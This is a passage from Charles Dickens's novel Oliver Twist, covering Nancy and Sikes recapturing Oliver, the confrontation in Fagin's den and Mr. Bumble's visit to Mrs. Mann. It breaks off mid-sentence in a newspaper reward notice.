younger than Fagin, but +nearly as vile and repulsive in appearance. + +Bill Sikes merely pointed to the empty measure. The Jew, +perfectly understanding the hint, retired to fill it: previously +exchanging a remarkable look with Fagin, who raised his eyes for +an instant, as if in expectation of it, and shook his head in +reply; so slightly that the action would have been almost +imperceptible to an observant third person. It was lost upon +Sikes, who was stooping at the moment to tie the boot-lace which +the dog had torn. Possibly, if he had observed the brief +interchange of signals, he might have thought that it boded no +good to him. + +'Is anybody here, Barney?' inquired Fagin; speaking, now that +that Sikes was looking on, without raising his eyes from the +ground. + +'Dot a shoul,' replied Barney; whose words: whether they came +from the heart or not: made their way through the nose. + +'Nobody?' inquired Fagin, in a tone of surprise: which perhaps +might mean that Barney was at liberty to tell the truth. + +'Dobody but Biss Dadsy,' replied Barney. + +'Nancy!' exclaimed Sikes. 'Where? Strike me blind, if I don't +honour that 'ere girl, for her native talents.' + +'She's bid havid a plate of boiled beef id the bar,' replied +Barney. + +'Send her here,' said Sikes, pouring out a glass of liquor. 'Send +her here.' + +Barney looked timidly at Fagin, as if for permission; the Jew +remaining silent, and not lifting his eyes from the ground, he +retired; and presently returned, ushering in Nancy; who was +decorated with the bonnet, apron, basket, and street-door key, +complete. + +'You are on the scent, are you, Nancy?' inquired Sikes, +proffering the glass. + +'Yes, I am, Bill,' replied the young lady, disposing of its +contents; 'and tired enough of it I am, too. The young brat's +been ill and confined to the crib; and--' + +'Ah, Nancy, dear!' said Fagin, looking up. + +Now, whether a peculiar contraction of the Jew's red eye-brows, +and a half closing of his deeply-set eyes, warned Miss Nancy that +she was disposed to be too communicative, is not a matter of much +importance. The fact is all we need care for here; and the fact +is, that she suddenly checked herself, and with several gracious +smiles upon Mr. Sikes, turned the conversation to other matters. +In about ten minutes' time, Mr. Fagin was seized with a fit of +coughing; upon which Nancy pulled her shawl over her shoulders, +and declared it was time to go. Mr. Sikes, finding that he was +walking a short part of her way himself, expressed his intention +of accompanying her; they went away together, followed, at a +little distant, by the dog, who slunk out of a back-yard as soon +as his master was out of sight. + +The Jew thrust his head out of the room door when Sikes had left +it; looked after him as we walked up the dark passage; shook his +clenched fist; muttered a deep curse; and then, with a horrible +grin, reseated himself at the table; where he was soon deeply +absorbed in the interesting pages of the Hue-and-Cry. + +Meanwhile, Oliver Twist, little dreaming that he was within so +very short a distance of the merry old gentleman, was on his way +to the book-stall. When he got into Clerkenwell, he accidently +turned down a by-street which was not exactly in his way; but not +discovering his mistake until he had got half-way down it, and +knowing it must lead in the right direction, he did not think it +worth while to turn back; and so marched on, as quickly as he +could, with the books under his arm. + +He was walking along, thinking how happy and contented he ought +to feel; and how much he would give for only one look at poor +little Dick, who, starved and beaten, might be weeping bitterly +at that very moment; when he was startled by a young woman +screaming out very loud. 'Oh, my dear brother!' And he had +hardly looked up, to see what the matter was, when he was stopped +by having a pair of arms thrown tight round his neck. + +'Don't,' cried Oliver, struggling. 'Let go of me. Who is it? +What are you stopping me for?' + +The only reply to this, was a great number of loud lamentations +from the young woman who had embraced him; and who had a little +basket and a street-door key in her hand. + +'Oh my gracious!' said the young woman, 'I have found him! Oh! +Oliver! Oliver! Oh you naughty boy, to make me suffer such +distress on your account! Come home, dear, come. Oh, I've found +him. Thank gracious goodness heavins, I've found him!' With +these incoherent exclamations, the young woman burst into another +fit of crying, and got so dreadfully hysterical, that a couple of +women who came up at the moment asked a butcher's boy with a +shiny head of hair anointed with suet, who was also looking on, +whether he didn't think he had better run for the doctor. To +which, the butcher's boy: who appeared of a lounging, not to say +indolent disposition: replied, that he thought not. + +'Oh, no, no, never mind,' said the young woman, grasping Oliver's +hand; 'I'm better now. Come home directly, you cruel boy! +Come!' + +'Oh, ma'am,' replied the young woman, 'he ran away, near a month +ago, from his parents, who are hard-working and respectable +people; and went and joined a set of thieves and bad characters; +and almost broke his mother's heart.' + +'Young wretch!' said one woman. + +'Go home, do, you little brute,' said the other. + +'I am not,' replied Oliver, greatly alarmed. 'I don't know her. +I haven't any sister, or father and mother either. I'm an +orphan; I live at Pentonville.' + +'Only hear him, how he braves it out!' cried the young woman. + +'Why, it's Nancy!' exclaimed Oliver; who now saw her face for the +first time; and started back, in irrepressible astonishment. + +'You see he knows me!' cried Nancy, appealing to the bystanders. +'He can't help himself. Make him come home, there's good people, +or he'll kill his dear mother and father, and break my heart!' + +'What the devil's this?' said a man, bursting out of a beer-shop, +with a white dog at his heels; 'young Oliver! Come home to your +poor mother, you young dog! Come home directly.' + +'I don't belong to them. I don't know them. Help! help!' cried +Oliver, struggling in the man's powerful grasp. + +'Help!' repeated the man. 'Yes; I'll help you, you young rascal! + +What books are these? You've been a stealing 'em, have you? +Give 'em here.' With these words, the man tore the volumes from +his grasp, and struck him on the head. + +'That's right!' cried a looker-on, from a garret-window. 'That's +the only way of bringing him to his senses!' + +'To be sure!' cried a sleepy-faced carpenter, casting an +approving look at the garret-window. + +'It'll do him good!' said the two women. + +'And he shall have it, too!' rejoined the man, administering +another blow, and seizing Oliver by the collar. 'Come on, you +young villain! Here, Bull's-eye, mind him, boy! Mind him!' + +Weak with recent illness; stupified by the blows and the +suddenness of the attack; terrified by the fierce growling of the +dog, and the brutality of the man; overpowered by the conviction +of the bystanders that he really was the hardened little wretch +he was described to be; what could one poor child do! Darkness +had set in; it was a low neighborhood; no help was near; +resistance was useless. In another moment he was dragged into a +labyrinth of dark narrow courts, and was forced along them at a +pace which rendered the few cries he dared to give utterance to, +unintelligible. It was of little moment, indeed, whether they +were intelligible or no; for there was nobody to care for them, +had they been ever so plain. + + + * * * * * * * * * + +The gas-lamps were lighted; Mrs. Bedwin was waiting anxiously at +the open door; the servant had run up the street twenty times to +see if there were any traces of Oliver; and still the two old +gentlemen sat, perseveringly, in the dark parlour, with the watch +between them. + + + + +CHAPTER XVI + +RELATES WHAT BECAME OF OLIVER TWIST, AFTER HE HAD BEEN CLAIMED BY +NANCY + +The narrow streets and courts, at length, terminated in a large +open space; scattered about which, were pens for beasts, and +other indications of a cattle-market. Sikes slackened his pace +when they reached this spot: the girl being quite unable to +support any longer, the rapid rate at which they had hitherto +walked. Turning to Oliver, he roughly commanded him to take hold +of Nancy's hand. + +'Do you hear?' growled Sikes, as Oliver hesitated, and looked +round. + +They were in a dark corner, quite out of the track of passengers. + +Oliver saw, but too plainly, that resistance would be of no +avail. He held out his hand, which Nancy clasped tight in hers. + +'Give me the other,' said Sikes, seizing Oliver's unoccupied +hand. 'Here, Bull's-Eye!' + +The dog looked up, and growled. + +'See here, boy!' said Sikes, putting his other hand to Oliver's +throat; 'if he speaks ever so soft a word, hold him! D'ye mind!' + +The dog growled again; and licking his lips, eyed Oliver as if he +were anxious to attach himself to his windpipe without delay. + +'He's as willing as a Christian, strike me blind if he isn't!' +said Sikes, regarding the animal with a kind of grim and +ferocious approval. 'Now, you know what you've got to expect, +master, so call away as quick as you like; the dog will soon stop +that game. Get on, young'un!' + +Bull's-eye wagged his tail in acknowledgment of this unusually +endearing form of speech; and, giving vent to another admonitory +growl for the benefit of Oliver, led the way onward. + +It was Smithfield that they were crossing, although it might have +been Grosvenor Square, for anything Oliver knew to the contrary. +The night was dark and foggy. The lights in the shops could +scarecely struggle through the heavy mist, which thickened every +moment and shrouded the streets and houses in gloom; rendering +the strange place still stranger in Oliver's eyes; and making his +uncertainty the more dismal and depressing. + +They had hurried on a few paces, when a deep church-bell struck +the hour. With its first stroke, his two conductors stopped, and +turned their heads in the direction whence the sound proceeded. + +'Eight o' clock, Bill,' said Nancy, when the bell ceased. + +'What's the good of telling me that; I can hear it, can't I!' +replied Sikes. + +'I wonder whether THEY can hear it,' said Nancy. + +'Of course they can,' replied Sikes. 'It was Bartlemy time when +I was shopped; and there warn't a penny trumpet in the fair, as I +couldn't hear the squeaking on. Arter I was locked up for the +night, the row and din outside made the thundering old jail so +silent, that I could almost have beat my brains out against the +iron plates of the door.' + +'Poor fellow!' said Nancy, who still had her face turned towards +the quarter in which the bell had sounded. 'Oh, Bill, such fine +young chaps as them!' + +'Yes; that's all you women think of,' answered Sikes. 'Fine +young chaps! Well, they're as good as dead, so it don't much +matter.' + +With this consolation, Mr. Sikes appeared to repress a rising +tendency to jealousy, and, clasping Oliver's wrist more firmly, +told him to step out again. + +'Wait a minute!' said the girl: 'I wouldn't hurry by, if it was +you that was coming out to be hung, the next time eight o'clock +struck, Bill. I'd walk round and round the place till I dropped, +if the snow was on the ground, and I hadn't a shawl to cover me.' + +'And what good would that do?' inquired the unsentimental Mr. +Sikes. 'Unless you could pitch over a file and twenty yards of +good stout rope, you might as well be walking fifty mile off, or +not walking at all, for all the good it would do me. Come on, +and don't stand preaching there.' + +The girl burst into a laugh; drew her shawl more closely round +her; and they walked away. But Oliver felt her hand tremble, +and, looking up in her face as they passed a gas-lamp, saw that +it had turned a deadly white. + +They walked on, by little-frequented and dirty ways, for a full +half-hour: meeting very few people, and those appearing from +their looks to hold much the same position in society as Mr. +Sikes himself. At length they turned into a very filthy narrow +street, nearly full of old-clothes shops; the dog running +forward, as if conscious that there was no further occasion for +his keeping on guard, stopped before the door of a shop that was +closed and apparently untenanted; the house was in a ruinous +condition, and on the door was nailed a board, intimating that it +was to let: which looked as if it had hung there for many years. + +'All right,' cried Sikes, glancing cautiously about. + +Nancy stooped below the shutters, and Oliver heard the sound of a +bell. They crossed to the opposite side of the street, and stood +for a few moments under a lamp. A noise, as if a sash window +were gently raised, was heard; and soon afterwards the door +softly opened. Mr. Sikes then seized the terrified boy by the +collar with very little ceremony; and all three were quickly +inside the house. + +The passage was perfectly dark. They waited, while the person +who had let them in, chained and barred the door. + +'Anybody here?' inquired Sikes. + +'No,' replied a voice, which Oliver thought he had heard before. + +'Is the old 'un here?' asked the robber. + +'Yes,' replied the voice, 'and precious down in the mouth he has +been. Won't he be glad to see you? Oh, no!' + +The style of this reply, as well as the voice which delivered it, +seemed familiar to Oliver's ears: but it was impossible to +distinguish even the form of the speaker in the darkness. + +'Let's have a glim,' said Sikes, 'or we shall go breaking our +necks, or treading on the dog. Look after your legs if you do!' + +'Stand still a moment, and I'll get you one,' replied the voice. +The receding footsteps of the speaker were heard; and, in another +minute, the form of Mr. John Dawkins, otherwise the Artful +Dodger, appeared. He bore in his right hand a tallow candle +stuck in the end of a cleft stick. + +The young gentleman did not stop to bestow any other mark of +recognition upon Oliver than a humourous grin; but, turning away, +beckoned the visitors to follow him down a flight of stairs. +They crossed an empty kitchen; and, opening the door of a low +earthy-smelling room, which seemed to have been built in a small +back-yard, were received with a shout of laughter. + +'Oh, my wig, my wig!' cried Master Charles Bates, from whose +lungs the laughter had proceeded: 'here he is! oh, cry, here he +is! Oh, Fagin, look at him! Fagin, do look at him! I can't bear +it; it is such a jolly game, I cant' bear it. Hold me, somebody, +while I laugh it out.' + +With this irrepressible ebullition of mirth, Master Bates laid +himself flat on the floor: and kicked convulsively for five +minutes, in an ectasy of facetious joy. Then jumping to his +feet, he snatched the cleft stick from the Dodger; and, advancing +to Oliver, viewed him round and round; while the Jew, taking off +his nightcap, made a great number of low bows to the bewildered +boy. The Artful, meantime, who was of a rather saturnine +disposition, and seldom gave way to merriment when it interfered +with business, rifled Oliver's pockets with steady assiduity. + +'Look at his togs, Fagin!' said Charley, putting the light so +close to his new jacket as nearly to set him on fire. 'Look at +his togs! Superfine cloth, and the heavy swell cut! Oh, my eye, +what a game! And his books, too! Nothing but a gentleman, +Fagin!' + +'Delighted to see you looking so well, my dear,' said the Jew, +bowing with mock humility. 'The Artful shall give you another +suit, my dear, for fear you should spoil that Sunday one. Why +didn't you write, my dear, and say you were coming? We'd have +got something warm for supper.' + +At his, Master Bates roared again: so loud, that Fagin himself +relaxed, and even the Dodger smiled; but as the Artful drew forth +the five-pound note at that instant, it is doubtful whether the +sally of the discovery awakened his merriment. + +'Hallo, what's that?' inquired Sikes, stepping forward as the Jew +seized the note. 'That's mine, Fagin.' + +'No, no, my dear,' said the Jew. 'Mine, Bill, mine. You shall +have the books.' + +'If that ain't mine!' said Bill Sikes, putting on his hat with a +determined air; 'mine and Nancy's that is; I'll take the boy back +again.' + +The Jew started. Oliver started too, though from a very +different cause; for he hoped that the dispute might really end +in his being taken back. + +'Come! Hand over, will you?' said Sikes. + +'This is hardly fair, Bill; hardly fair, is it, Nancy?' inquired +the Jew. + +'Fair, or not fair,' retorted Sikes, 'hand over, I tell you! Do +you think Nancy and me has got nothing else to do with our +precious time but to spend it in scouting arter, and kidnapping, +every young boy as gets grabbed through you? Give it here, you +avaricious old skeleton, give it here!' + +With this gentle remonstrance, Mr. Sikes plucked the note from +between the Jew's finger and thumb; and looking the old man +coolly in the face, folded it up small, and tied it in his +neckerchief. + +'That's for our share of the trouble,' said Sikes; 'and not half +enough, neither. You may keep the books, if you're fond of +reading. If you ain't, sell 'em.' + +'They're very pretty,' said Charley Bates: who, with sundry +grimaces, had been affecting to read one of the volumes in +question; 'beautiful writing, isn't is, Oliver?' At sight of the +dismayed look with which Oliver regarded his tormentors, Master +Bates, who was blessed with a lively sense of the ludicrous, fell +into another ectasy, more boisterous than the first. + +'They belong to the old gentleman,' said Oliver, wringing his +hands; 'to the good, kind, old gentleman who took me into his +house, and had me nursed, when I was near dying of the fever. +Oh, pray send them back; send him back the books and money. Keep +me here all my life long; but pray, pray send them back. He'll +think I stole them; the old lady: all of them who were so kind +to me: will think I stole them. Oh, do have mercy upon me, and +send them back!' + +With these words, which were uttered with all the energy of +passionate grief, Oliver fell upon his knees at the Jew's feet; +and beat his hands together, in perfect desperation. + +'The boy's right,' remarked Fagin, looking covertly round, and +knitting his shaggy eyebrows into a hard knot. 'You're right, +Oliver, you're right; they WILL think you have stolen 'em. Ha! +ha!' chuckled the Jew, rubbing his hands, 'it couldn't have +happened better, if we had chosen our time!' + +'Of course it couldn't,' replied Sikes; 'I know'd that, directly +I see him coming through Clerkenwell, with the books under his +arm. It's all right enough. They're soft-hearted psalm-singers, +or they wouldn't have taken him in at all; and they'll ask no +questions after him, fear they should be obliged to prosecute, +and so get him lagged. He's safe enough.' + +Oliver had looked from one to the other, while these words were +being spoken, as if he were bewildered, and could scarecely +understand what passed; but when Bill Sikes concluded, he jumped +suddenly to his feet, and tore wildly from the room: uttering +shrieks for help, which made the bare old house echo to the roof. + +'Keep back the dog, Bill!' cried Nancy, springing before the +door, and closing it, as the Jew and his two pupils darted out in +pursuit. 'Keep back the dog; he'll tear the boy to pieces.' + +'Serve him right!' cried Sikes, struggling to disengage himself +from the girl's grasp. 'Stand off from me, or I'll split your +head against the wall.' + +'I don't care for that, Bill, I don't care for that,' screamed +the girl, struggling violently with the man, 'the child shan't be +torn down by the dog, unless you kill me first.' + +'Shan't he!' said Sikes, setting his teeth. 'I'll soon do that, +if you don't keep off.' + +The housebreaker flung the girl from him to the further end of +the room, just as the Jew and the two boys returned, dragging +Oliver among them. + +'What's the matter here!' said Fagin, looking round. + +'The girl's gone mad, I think,' replied Sikes, savagely. + +'No, she hasn't,' said Nancy, pale and breathless from the +scuffle; 'no, she hasn't, Fagin; don't think it.' + +'Then keep quiet, will you?' said the Jew, with a threatening +look. + +'No, I won't do that, neither,' replied Nancy, speaking very +loud. 'Come! What do you think of that?' + +Mr. Fagin was sufficiently well acquainted with the manners and +customs of that particular species of humanity to which Nancy +belonged, to feel tolerably certain that it would be rather +unsafe to prolong any conversation with her, at present. With +the view of diverting the attention of the company, he turned to +Oliver. + +'So you wanted to get away, my dear, did you?' said the Jew, +taking up a jagged and knotted club which law in a corner of the +fireplace; 'eh?' + +Oliver made no reply. But he watched the Jew's motions, and +breathed quickly. + +'Wanted to get assistance; called for the police; did you?' +sneered the Jew, catching the boy by the arm. 'We'll cure you of +that, my young master.' + +The Jew inflicted a smart blow on Oliver's shoulders with the +club; and was raising it for a second, when the girl, rushing +forward, wrested it from his hand. She flung it into the fire, +with a force that brought some of the glowing coals whirling out +into the room. + +'I won't stand by and see it done, Fagin,' cried the girl. +'You've got the boy, and what more would you have?--Let him +be--let him be--or I shall put that mark on some of you, that +will bring me to the gallows before my time.' + +The girl stamped her foot violently on the floor as she vented +this threat; and with her lips compressed, and her hands +clenched, looked alternately at the Jew and the other robber: +her face quite colourless from the passion of rage into which she +had gradually worked herself. + +'Why, Nancy!' said the Jew, in a soothing tone; after a pause, +during which he and Mr. Sikes had stared at one another in a +disconcerted manner; 'you,--you're more clever than ever +to-night. Ha! ha! my dear, you are acting beautifully.' + +'Am I!' said the girl. 'Take care I don't overdo it. You will +be the worse for it, Fagin, if I do; and so I tell you in good +time to keep clear of me.' + +There is something about a roused woman: especially if she add to +all her other strong passions, the fierce impulses of +recklessness and despair; which few men like to provoke. The Jew +saw that it would be hopeless to affect any further mistake +regarding the reality of Miss Nancy's rage; and, shrinking +involuntarily back a few paces, cast a glance, half imploring and +half cowardly, at Sikes: as if to hint that he was the fittest +person to pursue the dialogue. + +Mr. Sikes, thus mutely appealed to; and possibly feeling his +personal pride and influence interested in the immediate +reduction of Miss Nancy to reason; gave utterance to about a +couple of score of curses and threats, the rapid production of +which reflected great credit on the fertility of his invention. +As they produced no visible effect on the object against whom +they were discharged, however, he resorted to more tangible +arguments. + +'What do you mean by this?' said Sikes; backing the inquiry with +a very common imprecation concerning the most beautiful of human +features: which, if it were heard above, only once out of every +fifty thousand times that it is uttered below, would render +blindness as common a disorder as measles: 'what do you mean by +it? Burn my body! Do you know who you are, and what you are?' + +'Oh, yes, I know all about it,' replied the girl, laughing +hysterically; and shaking her head from side to side, with a poor +assumption of indifference. + +'Well, then, keep quiet,' rejoined Sikes, with a growl like that +he was accustomed to use when addressing his dog, 'or I'll quiet +you for a good long time to come.' + +The girl laughed again: even less composedly than before; and, +darting a hasty look at Sikes, turned her face aside, and bit her +lip till the blood came. + +'You're a nice one,' added Sikes, as he surveyed her with a +contemptuous air, 'to take up the humane and gen--teel side! A +pretty subject for the child, as you call him, to make a friend +of!' + +'God Almighty help me, I am!' cried the girl passionately; 'and I +wish I had been struck dead in the street, or had changed places +with them we passed so near to-night, before I had lent a hand in +bringing him here. He's a thief, a liar, a devil, all that's +bad, from this night forth. Isn't that enough for the old +wretch, without blows?' + +'Come, come, Sikes,' said the Jew appealing to him in a +remonstratory tone, and motioning towards the boys, who were +eagerly attentive to all that passed; 'we must have civil words; +civil words, Bill.' + +'Civil words!' cried the girl, whose passion was frightful to +see. 'Civil words, you villain! Yes, you deserve 'em from me. +I thieved for you when I was a child not half as old as this!' +pointing to Oliver. 'I have been in the same trade, and in the +same service, for twelve years since. Don't you know it? Speak +out! Don't you know it?' + +'Well, well,' replied the Jew, with an attempt at pacification; +'and, if you have, it's your living!' + +'Aye, it is!' returned the girl; not speaking, but pouring out +the words in one continuous and vehement scream. 'It is my +living; and the cold, wet, dirty streets are my home; and you're +the wretch that drove me to them long ago, and that'll keep me +there, day and night, day and night, till I die!' + +'I shall do you a mischief!' interposed the Jew, goaded by these +reproaches; 'a mischief worse than that, if you say much more!' + +The girl said nothing more; but, tearing her hair and dress in a +transport of passion, made such a rush at the Jew as would +probably have left signal marks of her revenge upon him, had not +her wrists been seized by Sikes at the right moment; upon which, +she made a few ineffectual struggles, and fainted. + +'She's all right now,' said Sikes, laying her down in a corner. +'She's uncommon strong in the arms, when she's up in this way.' + +The Jew wiped his forehead: and smiled, as if it were a relief to +have the disturbance over; but neither he, nor Sikes, nor the +dog, nor the boys, seemed to consider it in any other light than +a common occurance incidental to business. + +'It's the worst of having to do with women,' said the Jew, +replacing his club; 'but they're clever, and we can't get on, in +our line, without 'em. Charley, show Oliver to bed.' + +'I suppose he'd better not wear his best clothes tomorrow, Fagin, +had he?' inquired Charley Bates. + +'Certainly not,' replied the Jew, reciprocating the grin with +which Charley put the question. + +Master Bates, apparently much delighted with his commission, took +the cleft stick: and led Oliver into an adjacent kitchen, where +there were two or three of the beds on which he had slept before; +and here, with many uncontrollable bursts of laughter, he +produced the identical old suit of clothes which Oliver had so +much congratulated himself upon leaving off at Mr. Brownlow's; +and the accidental display of which, to Fagin, by the Jew who +purchased them, had been the very first clue received, of his +whereabout. + +'Put off the smart ones,' said Charley, 'and I'll give 'em to +Fagin to take care of. What fun it is!' + +Poor Oliver unwillingly complied. Master Bates rolling up the +new clothes under his arm, departed from the room, leaving Oliver +in the dark, and locking the door behind him. + +The noise of Charley's laughter, and the voice of Miss Betsy, who +opportunely arrived to throw water over her friend, and perform +other feminine offices for the promotion of her recovery, might +have kept many people awake under more happy circumstances than +those in which Oliver was placed. But he was sick and weary; and +he soon fell sound asleep. + + + + +CHAPTER XVII + +OLIVER'S DESTINY CONTINUING UNPROPITIOUS, BRINGS A GREAT MAN TO +LONDON TO INJURE HIS REPUTATION + +It is the custom on the stage, in all good murderous melodramas, +to present the tragic and the comic scenes, in as regular +alternation, as the layers of red and white in a side of streaky +bacon. The hero sinks upon his straw bed, weighed down by +fetters and misfortunes; in the next scene, his faithful but +unconscious squire regales the audience with a comic song. We +behold, with throbbing bosoms, the heroine in the grasp of a +proud and ruthless baron: her virtue and her life alike in +danger, drawing forth her dagger to preserve the one at the cost +of the other; and just as our expectations are wrought up to the +highest pitch, a whistle is heard, and we are straightway +transported to the great hall of the castle; where a grey-headed +seneschal sings a funny chorus with a funnier body of vassals, +who are free of all sorts of places, from church vaults to +palaces, and roam about in company, carolling perpetually. + +Such changes appear absurd; but they are not so unnatural as they +would seem at first sight. The transitions in real life from +well-spread boards to death-beds, and from mourning-weeds to +holiday garments, are not a whit less startling; only, there, we +are busy actors, instead of passive lookers-on, which makes a +vast difference. The actors in the mimic life of the theatre, +are blind to violent transitions and abrupt impulses of passion +or feeling, which, presented before the eyes of mere spectators, +are at once condemned as outrageous and preposterous. + +As sudden shiftings of the scene, and rapid changes of time and +place, are not only sanctioned in books by long usage, but are by +many considered as the great art of authorship: an author's skill +in his craft being, by such critics, chiefly estimated with +relation to the dilemmas in which he leaves his characters at the +end of every chapter: this brief introduction to the present one +may perhaps be deemed unnecessary. If so, let it be considered a +delicate intimation on the part of the historian that he is going +back to the town in which Oliver Twist was born; the reader +taking it for granted that there are good and substantial reasons +for making the journey, or he would not be invited to proceed +upon such an expedition. + +Mr. Bumble emerged at early morning from the workhouse-gate, and +walked with portly carriage and commanding steps, up the High +Street. He was in the full bloom and pride of beadlehood; his +cocked hat and coat were dazzling in the morning sun; he clutched +his cane with the vigorous tenacity of health and power. Mr. +Bumble always carried his head high; but this morning it was +higher than usual. There was an abstraction in his eye, an +elevation in his air, which might have warned an observant +stranger that thoughts were passing in the beadle's mind, too +great for utterance. + +Mr. Bumble stopped not to converse with the small shopkeepers and +others who spoke to him, deferentially, as he passed along. He +merely returned their salutations with a wave of his hand, and +relaxed not in his dignified pace, until he reached the farm +where Mrs. Mann tended the infant paupers with parochial care. + +'Drat that beadle!' said Mrs. Mann, hearing the well-known +shaking at the garden-gate. 'If it isn't him at this time in the +morning! Lauk, Mr. Bumble, only think of its being you! Well, +dear me, it IS a pleasure, this is! Come into the parlour, sir, +please.' + +The first sentence was addressed to Susan; and the exclamations +of delight were uttered to Mr. Bumble: as the good lady unlocked +the garden-gate: and showed him, with great attention and +respect, into the house. + +'Mrs. Mann,' said Mr. Bumble; not sitting upon, or dropping +himself into a seat, as any common jackanapes would: but letting +himself gradually and slowly down into a chair; 'Mrs. Mann, +ma'am, good morning.' + +'Well, and good morning to _you_, sir,' replied Mrs. Mann, with +many smiles; 'and hoping you find yourself well, sir!' + +'So-so, Mrs. Mann,' replied the beadle. 'A porochial life is not +a bed of roses, Mrs. Mann.' + +'Ah, that it isn't indeed, Mr. Bumble,' rejoined the lady. And +all the infant paupers might have chorussed the rejoinder with +great propriety, if they had heard it. + +'A porochial life, ma'am,' continued Mr. Bumble, striking the +table with his cane, 'is a life of worrit, and vexation, and +hardihood; but all public characters, as I may say, must suffer +prosecution.' + +Mrs. Mann, not very well knowing what the beadle meant, raised +her hands with a look of sympathy, and sighed. + +'Ah! You may well sigh, Mrs. Mann!' said the beadle. + +Finding she had done right, Mrs. Mann sighed again: evidently to +the satisfaction of the public character: who, repressing a +complacent smile by looking sternly at his cocked hat, said, + +'Mrs. Mann, I am going to London.' + +'Lauk, Mr. Bumble!' cried Mrs. Mann, starting back. + +'To London, ma'am,' resumed the inflexible beadle, 'by coach. I +and two paupers, Mrs. Mann! A legal action is a coming on, about +a settlement; and the board has appointed me--me, Mrs. Mann--to +dispose to the matter before the quarter-sessions at Clerkinwell. + +And I very much question,' added Mr. Bumble, drawing himself up, +'whether the Clerkinwell Sessions will not find themselves in the +wrong box before they have done with me.' + +'Oh! you mustn't be too hard upon them, sir,' said Mrs. Mann, +coaxingly. + +'The Clerkinwell Sessions have brought it upon themselves, +ma'am,' replied Mr. Bumble; 'and if the Clerkinwell Sessions find +that they come off rather worse than they expected, the +Clerkinwell Sessions have only themselves to thank.' + +There was so much determination and depth of purpose about the +menacing manner in which Mr. Bumble delivered himself of these +words, that Mrs. Mann appeared quite awed by them. At length she +said, + +'You're going by coach, sir? I thought it was always usual to +send them paupers in carts.' + +'That's when they're ill, Mrs. Mann,' said the beadle. 'We put +the sick paupers into open carts in the rainy weather, to prevent +their taking cold.' + +'Oh!' said Mrs. Mann. + +'The opposition coach contracts for these two; and takes them +cheap,' said Mr. Bumble. 'They are both in a very low state, and +we find it would come two pound cheaper to move 'em than to bury +'em--that is, if we can throw 'em upon another parish, which I +think we shall be able to do, if they don't die upon the road to +spite us. Ha! ha! ha!' + +When Mr. Bumble had laughed a little while, his eyes again +encountered the cocked hat; and he became grave. + +'We are forgetting business, ma'am,' said the beadle; 'here is +your porochial stipend for the month.' + +Mr. Bumble produced some silver money rolled up in paper, from +his pocket-book; and requested a receipt: which Mrs. Mann wrote. + +'It's very much blotted, sir,' said the farmer of infants; 'but +it's formal enough, I dare say. Thank you, Mr. Bumble, sir, I am +very much obliged to you, I'm sure.' + +Mr. Bumble nodded, blandly, in acknowledgment of Mrs. Mann's +curtsey; and inquired how the children were. + +'Bless their dear little hearts!' said Mrs. Mann with emotion, +'they're as well as can be, the dears! Of course, except the two +that died last week. And little Dick.' + +'Isn't that boy no better?' inquired Mr. Bumble. + +Mrs. Mann shook her head. + +'He's a ill-conditioned, wicious, bad-disposed porochial child +that,' said Mr. Bumble angrily. 'Where is he?' + +'I'll bring him to you in one minute, sir,' replied Mrs. Mann. +'Here, you Dick!' + +After some calling, Dick was discovered. Having had his face put +under the pump, and dried upon Mrs. Mann's gown, he was led into +the awful presence of Mr. Bumble, the beadle. + +The child was pale and thin; his cheeks were sunken; and his eyes +large and bright. The scanty parish dress, the livery of his +misery, hung loosely on his feeble body; and his young limbs had +wasted away, like those of an old man. + +Such was the little being who stood trembling beneath Mr. +Bumble's glance; not daring to lift his eyes from the floor; and +dreading even to hear the beadle's voice. + +'Can't you look at the gentleman, you obstinate boy?' said Mrs. +Mann. + +The child meekly raised his eyes, and encountered those of Mr. +Bumble. + +'What's the matter with you, porochial Dick?' inquired Mr. +Bumble, with well-timed jocularity. + +'Nothing, sir,' replied the child faintly. + +'I should think not,' said Mrs. Mann, who had of course laughed +very much at Mr. Bumble's humour. + +'You want for nothing, I'm sure.' + +'I should like--' faltered the child. + +'Hey-day!' interposed Mr. Mann, 'I suppose you're going to say +that you DO want for something, now? Why, you little wretch--' + +'Stop, Mrs. Mann, stop!' said the beadle, raising his hand with a +show of authority. 'Like what, sir, eh?' + +'I should like,' faltered the child, 'if somebody that can write, +would put a few words down for me on a piece of paper, and fold it +up and seal it, and keep it for me, after I am laid in the ground.' + +'Why, what does the boy mean?' exclaimed Mr. Bumble, on whom the +earnest manner and wan aspect of the child had made some impression: +accustomed as he was to such things. 'What do you mean, sir?' + +'I should like,' said the child, 'to leave my dear love to poor +Oliver Twist; and to let him know how often I have sat by myself +and cried to think of his wandering about in the dark nights with +nobody to help him. And I should like to tell him,' said the +child pressing his small hands together, and speaking with great +fervour, 'that I was glad to die when I was very young; for, +perhaps, if I had lived to be a man, and had grown old, my little +sister who is in Heaven, might forget me, or be unlike me; and it +would be so much happier if we were both children there +together.' + +Mr. Bumble surveyed the little speaker, from head to foot, with +indescribable astonishment; and, turning to his companion, said, +'They're all in one story, Mrs. Mann. That out-dacious Oliver +had demogalized them all!' + +'I couldn't have believed it, sir' said Mrs Mann, holding up her +hands, and looking malignantly at Dick. 'I never see such a +hardened little wretch!' + +'Take him away, ma'am!' said Mr. Bumble imperiously. 'This must +be stated to the board, Mrs. Mann. + +'I hope the gentleman will understand that it isn't my fault, +sir?' said Mrs. Mann, whimpering pathetically. + +'They shall understand that, ma'am; they shall be acquainted with +the true state of the case,' said Mr. Bumble. 'There; take him +away, I can't bear the sight on him.' + +Dick was immediately taken away, and locked up in the +coal-cellar. Mr. Bumble shortly afterwards took himself off, to +prepare for his journey. + +At six o'clock next morning, Mr. Bumble: having exchanged his +cocked hat for a round one, and encased his person in a blue +great-coat with a cape to it: took his place on the outside of +the coach, accompanied by the criminals whose settlement was +disputed; with whom, in due course of time, he arrived in London. + +He experienced no other crosses on the way, than those which +originated in the perverse behaviour of the two paupers, who +persisted in shivering, and complaining of the cold, in a manner +which, Mr. Bumble declared, caused his teeth to chatter in his +head, and made him feel quite uncomfortable; although he had a +great-coat on. + +Having disposed of these evil-minded persons for the night, Mr. +Bumble sat himself down in the house at which the coach stopped; +and took a temperate dinner of steaks, oyster sauce, and porter. +Putting a glass of hot gin-and-water on the chimney-piece, he +drew his chair to the fire; and, with sundry moral reflections on +the too-prevalent sin of discontent and complaining, composed +himself to read the paper. + +The very first paragraph upon which Mr. Bumble's eye rested, was +the following advertisement. + + 'FIVE GUINEAS REWARD + +'Whereas a young boy, named Oliver Twist, absconded, or was +enticed, on Thursday evening last, from his home, at Pentonville; +and has not since been heard of. The above reward will be paid +to any person who will give such information as will lead to the 